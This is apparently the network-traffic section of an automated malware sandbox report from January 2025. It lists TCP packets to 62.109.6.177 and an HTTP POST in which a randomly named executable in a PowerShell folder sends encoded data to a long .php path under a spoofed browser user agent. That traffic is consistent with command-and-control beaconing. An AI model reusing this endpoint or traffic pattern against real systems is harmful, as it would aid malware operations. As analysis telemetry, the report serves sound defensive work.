Jan 4, 2025 13:40:47.721374989 CET	51041	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.730266094 CET	51041	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.730268002 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.735126019 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:47.735248089 CET	80	51041	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:47.735282898 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.735393047 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.735450029 CET	51041	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:47.740205050 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.093822002 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.098767996 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.098788977 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.098798990 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.415258884 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.537111044 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.542475939 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.660115957 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.672039986 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.672333956 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.677035093 CET	80	51042	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.677082062 CET	51042	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.677160025 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:48.677217960 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.677331924 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:48.682051897 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.033298969 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.038255930 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.038266897 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.038274050 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.364679098 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.406260967 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.500235081 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.549184084 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.594527960 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.594535112 CET	51044	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.599354029 CET	80	51044	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.599524021 CET	80	51043	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.599555969 CET	51044	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.599641085 CET	51044	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.599654913 CET	51043	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.604485035 CET	80	51044	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.621189117 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.621249914 CET	51044	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.626070976 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.629498959 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.629498959 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.634354115 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.667787075 CET	80	51044	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.984744072 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:49.989767075 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.989778042 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:49.989787102 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.074151039 CET	80	51044	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.074204922 CET	51044	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.327164888 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.379043102 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.475872993 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.531284094 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.680716991 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.681180000 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.686247110 CET	80	51045	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.686300039 CET	51045	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.686393976 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:50.686495066 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.686675072 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:50.691421986 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.033175945 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.038193941 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.038206100 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.038214922 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.420418978 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.470870018 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.550462961 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.593800068 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.667766094 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.668157101 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.672789097 CET	80	51046	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.672878027 CET	51046	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.672964096 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:51.673082113 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.673126936 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:51.677968025 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.031430960 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.036390066 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.036403894 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.036415100 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.364341974 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.470206976 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.494501114 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.574608088 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.623032093 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.623249054 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.627993107 CET	80	51047	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.628026962 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:52.628053904 CET	51047	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.628088951 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.628201962 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:52.632998943 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.001468897 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.006513119 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.006525040 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.006535053 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.394891977 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.441435099 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.526314020 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.580666065 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.651427031 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.651727915 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.656446934 CET	80	51048	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.656583071 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:53.656675100 CET	51048	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.656676054 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.656873941 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:53.661669016 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.015775919 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.020935059 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.020946980 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.020956039 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.367166042 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.421889067 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.498519897 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.587035894 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.623220921 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.623485088 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.625834942 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.628221035 CET	80	51049	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.628282070 CET	51049	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.628314018 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.628381014 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.628499031 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.630656004 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.630728960 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.630836010 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.633290052 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.635643959 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.984487057 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.984550953 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:54.989357948 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.989368916 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.989377022 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.989478111 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:54.989486933 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.411921024 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.418147087 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.453187943 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.515659094 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.546331882 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.549875975 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.552115917 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.554955959 CET	80	51050	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.555042028 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.555042028 CET	51050	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.593780041 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.698476076 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.698477983 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.703309059 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.703584909 CET	80	51051	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:55.707215071 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.707248926 CET	51051	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.707348108 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:55.712095022 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.062609911 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.067532063 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.067547083 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.067557096 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.388829947 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.513525963 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.518647909 CET	80	51052	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.612960100 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.651868105 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.656889915 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:56.656950951 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.657068968 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:56.661839008 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.017303944 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.022234917 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.022247076 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.022258043 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.357686043 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.406280041 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.491175890 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.531450033 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.605166912 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.605169058 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.610064030 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.610213995 CET	80	51053	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.610302925 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.610305071 CET	51053	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.610419035 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.615180969 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.969008923 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:57.973964930 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.973984003 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:57.973994017 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.342187881 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.390659094 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.474481106 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.515650034 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.592000008 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.592209101 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.597058058 CET	80	51054	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.597074032 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.597100973 CET	51054	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.597158909 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.597239971 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.601953030 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.953258991 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:58.958230019 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.958242893 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:58.958250999 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.276348114 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.407994986 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.415160894 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.528563023 CET	51052	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.528563976 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.528764963 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.533569098 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.533694029 CET	80	51055	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.533876896 CET	51055	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.533878088 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.534065008 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.538872004 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.890892982 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:59.895872116 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.895885944 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:59.895894051 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.215244055 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.289691925 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.343209982 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.406276941 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.470470905 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.471052885 CET	51057	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.475517988 CET	80	51056	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.475567102 CET	51056	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.475931883 CET	80	51057	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.476003885 CET	51057	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.476176977 CET	51057	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.480881929 CET	80	51057	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.548080921 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.548167944 CET	51057	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.552918911 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.552973032 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.574985027 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.579854012 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.595705032 CET	80	51057	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.701499939 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.706372976 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.706443071 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.706617117 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.711374998 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.922092915 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:00.926985025 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.927076101 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.960913897 CET	80	51057	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:00.961031914 CET	51057	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.065676928 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.070626020 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.070636034 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.070640087 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.252188921 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.296907902 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.384270906 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.416685104 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.437530994 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.515661001 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.554554939 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.668158054 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.668162107 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.669904947 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.673111916 CET	80	51059	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.673192978 CET	51059	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.673568964 CET	80	51058	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.673628092 CET	51058	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.674665928 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:01.675208092 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.675329924 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:01.680069923 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.031384945 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:02.036324024 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.036335945 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.036345005 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.385783911 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.437534094 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:02.510139942 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:02.562524080 CET	51060	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:41:07.388761044 CET	80	51060	62.109.6.177	192.168.2.4
Jan 4, 2025 13:41:07.388833046 CET	51060	80	192.168.2.4	62.109.6.177

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 13:37:47.787766933 CET	53	60348	162.159.36.2	192.168.2.4
Jan 4, 2025 13:37:48.311593056 CET	53	58370	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

62.109.6.177

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:08.763788939 CET	316	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:09.110025883 CET	344	OUT	Data Raw: 00 01 01 07 06 00 01 07 05 06 02 01 02 0d 01 01 00 04 05 0e 02 05 03 00 02 52 0e 0c 05 0e 01 03 0f 54 06 5e 03 0d 04 00 0d 03 05 00 07 57 05 06 06 0b 0e 0a 0e 07 06 52 06 0e 05 00 06 56 00 00 03 07 0a 09 07 02 07 05 0d 06 0e 57 0a 04 0d 05 04 05 Data Ascii: RT^WRVWPUP\L}TkYjcqb]aKpB\|oicllc\|J{ltXoceZkn\|NcwcZje~V@xST}bW
Jan 4, 2025 13:37:09.467031002 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:09.569096088 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1364 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7d 5d 78 7d 7f 03 78 62 7c 02 68 4f 73 06 69 59 67 42 7f 06 65 0d 6e 60 6f 5c 69 61 6c 05 74 63 7e 54 7a 62 79 4a 62 66 56 48 7e 5b 78 01 55 4b 71 09 77 72 7f 49 6b 62 71 4d 6b 67 57 50 79 65 6f 50 7d 63 63 05 77 72 54 5a 76 61 79 49 68 5f 71 58 6a 52 56 4e 7d 64 7f 00 76 4c 7b 06 7c 5b 71 04 69 60 75 07 78 64 68 07 6f 5e 73 5c 78 7d 51 02 78 72 78 4b 7a 73 79 5f 7c 70 77 5e 7b 01 64 06 7c 62 5a 5e 76 72 6c 01 7a 51 41 5b 6b 5e 64 41 68 62 61 4e 75 52 60 4e 6c 6f 7c 04 63 60 71 53 6d 58 7e 59 69 6f 66 04 78 61 6a 04 62 5d 55 02 75 62 64 04 74 71 76 50 7e 5d 7a 06 76 62 6d 06 76 65 68 09 68 6c 65 07 77 6c 52 04 7c 73 6c 03 78 6f 6f 03 7b 5e 66 00 7c 6d 74 08 77 77 6c 04 7e 62 71 50 7e 7d 7b 0a 7b 6d 54 4e 69 62 61 05 7b 5d 46 51 68 6c 68 08 7d 59 64 08 7d 74 6d 5d 7b 43 73 03 79 71 74 05 7c 61 7f 06 7d 64 6f 0b 68 5e 58 52 7a 63 7c 42 7e 5c 7c 49 63 60 65 51 7b 5c 79 44 75 76 64 03 7c 76 74 4e 7e 58 5f 42 74 72 73 07 7d 72 61 4d 7d 67 58 0c 79 66 70 40 7d 63 7f 00 77 62 75 05 77 5f 79 48 7f 61 [TRUNCATED] Data Ascii: 